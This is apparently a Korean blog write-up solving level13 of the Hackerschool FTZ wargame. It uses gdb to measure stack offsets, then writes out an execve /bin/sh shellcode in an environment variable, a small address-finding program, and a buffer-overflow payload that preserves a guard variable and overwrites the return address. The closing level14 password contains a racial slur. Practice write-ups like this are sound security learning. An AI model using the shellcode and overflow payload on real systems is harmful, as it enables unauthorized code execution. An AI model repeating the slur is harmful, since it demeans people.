본문 바로가기

[Pwnable] 해커스쿨 FTZ

[해커스쿨 FTZ] level13

이번엔 level13을 풀어보자.

로그인을 하고, 파일 목록을 확인하고, 힌트를 확인한다.

 

 코드를 분석해보자.

i 와 buf 의 스택구조만 살펴보면

높은주소 long i
낮은주소 char buf

i 의 주소buf의 주소보다 높다.

따라서 i 의 주소를 덮어 쓸 수 있다!

 

우선 gdb를 통해 정확한 분석을 해보자.

i 와 buf 의 거리를 구하면 문제를 풀 수 있을것같다.

 

우선 main+54 부분으로 buf와 ebp 까지의 거리를 구해보자.

buf ~ ebp 거리 = 1048

buf ~ ret 거리 = 1048 + 4 = 1052

 

main + 69 부분으로 i와 ebp 까지의 거리를 구해보자.

i ~ ebp 거리 = 12

i ~ ret 거리 = 12 + 4 = 16

 

따라서 buf ~ i 거리 = 1052 - 16 = 1036 이고

i 변수의 끝자리에서 ret 까지의 거리 = (i ~ ret 거리) - (i의 크기) = 16 - 4(long타입 크기) = 12이다.

 

기본적인 내용들을 파악했으니 환경변수를 이용해 문제를 풀어보자.

 

tmp 디렉토리에서 밑의 코드들을 차례대로 실행하자.

 

1. $export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


2. $echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c


3. $gcc getenv.c -o getenv


4. $./getenv

 

0xbffffc8b 를 알아냈다.

 

위에서 알아낸 buf ~ i 거리와 i 끝자리 ~ ret 까지의 거리를 이용해 페이로드를 작성한다.

아래와 같다.

 

./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x8b\xfc\xff\xbf"'`

 

본래 디렉토리로 이동해 페이로드를 실행하면, 암호가 나온다.

짜잔

 

level14 암호 : what that nigga want?

'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level15  (0) 2020.03.12
[해커스쿨 FTZ] level14  (0) 2020.03.12
[해커스쿨 FTZ] level12  (0) 2020.03.12
[해커스쿨 FTZ] Level11  (0) 2020.03.12
[해커스쿨 FTZ] Level10  (0) 2020.03.04